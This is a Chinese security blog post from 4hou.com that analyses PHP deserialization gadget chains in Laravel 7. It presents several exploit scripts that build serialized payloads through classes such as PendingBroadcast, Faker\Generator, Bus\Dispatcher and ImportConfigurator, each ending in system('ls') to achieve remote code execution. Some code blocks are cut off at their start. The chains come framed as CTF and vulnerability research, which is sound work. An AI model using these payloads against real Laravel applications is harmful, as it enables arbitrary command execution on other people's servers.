Laravel 7 Deserialization Chain Summary - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

Laravel 7 Deserialization Chain Summary

一叶飘零 技术 2020-07-23 11:00:00
收藏

导语:晚上闲着无聊,想到real world和ctf里非常喜欢出题考察的laravel,于是下了个7系列版本分析着玩一玩,梳理了一下现阶段可用的一些exp。

0x00 前言

晚上闲着无聊,想到real world和ctf里非常喜欢出题考察的laravel,于是下了个7系列版本分析着玩一玩,梳理了一下现阶段可用的一些exp。

0x01 切入点

网上冲浪看到一篇blog讲laravel 5.8的漏洞,感觉挺有趣的:

https://nikoeurus.github.io/2019/12/16/laravel5.8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#Routes%E7%9B%AE%E5%BD%95

文章提供了一个切入点,即

Illuminate\Broadcasting\PendingBroadcast::__destruct

关键位置代码如下:

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

我们看到在__destruct函数中使用通过$this->events调用了方法dispatch,参数为$this->event。

这一位置在最新版中依然存在,同时我们可以发现$this->events和$this->event均为可控点,那么可以玩的花样就比较多了:

· 1.通过dispatch + 可控$this->events 触发__call方法

· 2.通过同名方法进行攻击

0x02 利用__call魔法方法

尝试搜寻一番__call魔法方法,发现一个切入点:

Faker\Generator::__call

关键代码如下:

public function __call($method, $attributes)
{
    return $this->format($method, $attributes);
}

跟进类内方法format:

public function format($formatter, $arguments = array())
{
    return call_user_func_array($this->getFormatter($formatter), $arguments);
}

此处比较开心的是,正好调用参数时,使用了类内方法getFormatter,我们查看该方法的关键内容:

public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
.......

显然我们可以使用数组进行bypass,例如:

$formatters['dispatch'] = xxx

如此一来即可任意RCE,我们编写exp:

formatters = $formatters;
        } 
    }
}
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct($event, $events)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
}
namespace{
    $a = new Faker\Generator(array('dispatch' => 'system'));
    $b = new Illuminate\Broadcasting\PendingBroadcast('ls',$a);
    echo urlencode(serialize($b));
}
?>

0x03 利用同名函数

全局搜索哪些类有dispatch方法,可以定位到关键类:Illuminate\Bus\Dispatcher。

我们跟进其dispatch函数:

public function dispatch($command)
{
    if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
        return $this->dispatchToQueue($command);
    }
        return $this->dispatchNow($command);
}

跟进dispatchToQueue函数:

public function dispatchToQueue($command)
{
    $connection = $command->connection ?? null;
    $queue = call_user_func($this->queueResolver, $connection);
    .......
}

不难发现有call_user_func,而此时$this->queueResolver和$connection均可控。

那么只要通过如下限制即可:

if ($this->queueResolver && $this->commandShouldBeQueued($command))

我们跟进commandShouldBeQueued:

protected function commandShouldBeQueued($command)
{
    return $command instanceof ShouldQueue;
}

发现只要是继承ShouldQueue接口的类皆可。

这里随便搜一下,发现5个类均可用,编写exp如下:

events = $events;
            $this->event = $event;
        }
    }
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver="")
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Events{
    class CallQueuedListener
    {
        public $connection;
        public function __construct($connection="")
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Broadcasting{
    class BroadcastEvent
    {
        public $connection;
        public function __construct($connection="")
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection;
        public function __construct($connection="")
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Notifications{
    class SendQueuedNotifications
    {
        public $connection;
        public function __construct($connection="")
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Queue{
    class CallQueuedClosure
    {
        public $connection;
        public function __construct($connection="")
        {
            $this->connection = $connection;
        }
    }
}
namespace{
    $a = new Illuminate\Bus\Dispatcher('system');
    $b = new Illuminate\Events\CallQueuedListener('ls');
//  $b = new Illuminate\Broadcasting\BroadcastEvent('ls');
//  $b = new Illuminate\Foundation\Console\QueuedCommand('ls');
//  $b = new Illuminate\Notifications\SendQueuedNotifications('ls');
//  $b = new Illuminate\Queue\CallQueuedClosure('ls');
    $c = new Illuminate\Broadcasting\PendingBroadcast($a,$b);
    echo urlencode(serialize($c));
}
?>

这5个exp异曲同工,均可使用。

0x04 举一反三(1)

那么对于诸如如上对象可控,对象调用方法参数可控的例子还有吗:

搜寻一番,可以发现关键类:Illuminate\Routing\PendingResourceRegistration

关键代码如下:

public function __destruct()
{
    if (! $this->registered) {
        $this->register();
    }
}

跟进类内方法register:

public function register()
{
    $this->registered = true;
    return $this->registrar->register(
        $this->name, $this->controller, $this->options
    );
}

此时我们发现:

$this->registered
$this->registrar
$this->name
$this->controller
$this->options

均为可控点,因此我们又有2条路可走:

· 1.使用__call魔法方法构造pop chain

· 2.寻找register同名函数构造pop chain

对于1的情况,其实直接复用之前的Faker\Generator类即可,我们很容易写出exp:

formatters = $formatters;
        } 
    }
}
namespace Illuminate\Routing{
    class PendingResourceRegistration{
        protected $registrar;
        protected $name;
        protected $controller;
        protected $options;
        public function __construct($registrar, $name, $controller, $options)
        {
            $this->registrar = $registrar;
            $this->name = $name;
            $this->controller = $controller;
            $this->options = $options;
        }
    }
}
namespace{
    $a = new Faker\Generator(array('register' => 'call_user_func'));
    $b = new Illuminate\Routing\PendingResourceRegistration($a,'call_user_func','system','ls');
    echo urlencode(serialize($b));
}
?>

同理由于这个call_user_func 2个参数均可控,因此可调用任意对象的任意方法,传入任意参数。可以衍变出无数种可能。因此不再赘述。

0x05 举一反三(2)

继续搜寻类似的方法,可以发现关键类:Symfony\Component\Routing\Loader\Configurator\ImportConfigurator:

关键代码:

public function __destruct()
{
    $this->parent->addCollection($this->route);
}

此处我们的对象和参数均可控,那么同样可以结合Faker\Generator类写出exp:

formatters = $formatters;
        } 
    }
}
namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
        private $parent;
        private $route;
        public function __construct($parent, $route)
        {
            $this->parent = $parent;
            $this->route = $route;
        }
    }
}
namespace{
    $a = new Faker\Generator(array('addCollection' => 'system'));
    $b = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a,'ls');
    echo urlencode(serialize($b));
}
?>

0X06 后记

对于laravel的pop chain构造层出不穷,大概围绕以下几个思路展开:

· 1.__destruct内直接调用的函数存在风险

· 2.__destruct内调用方法的对象可控

          · 2.1 同名方法

          · 2.2 __call方法

· 3.拼接组合

          · 3.1 call_user_func等函数 只有对象和方法名可控,需要拼接1的chain

          · 3.2 call_user_func等函数 参数均可控,随意拼接chain

对于3的情况其实比较容易了,这里可以衍生出大量的chain构造,所以关键点还是找__destruct切入点。

最后求求,别再出laravel的题了。

本文为 一叶飘零 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论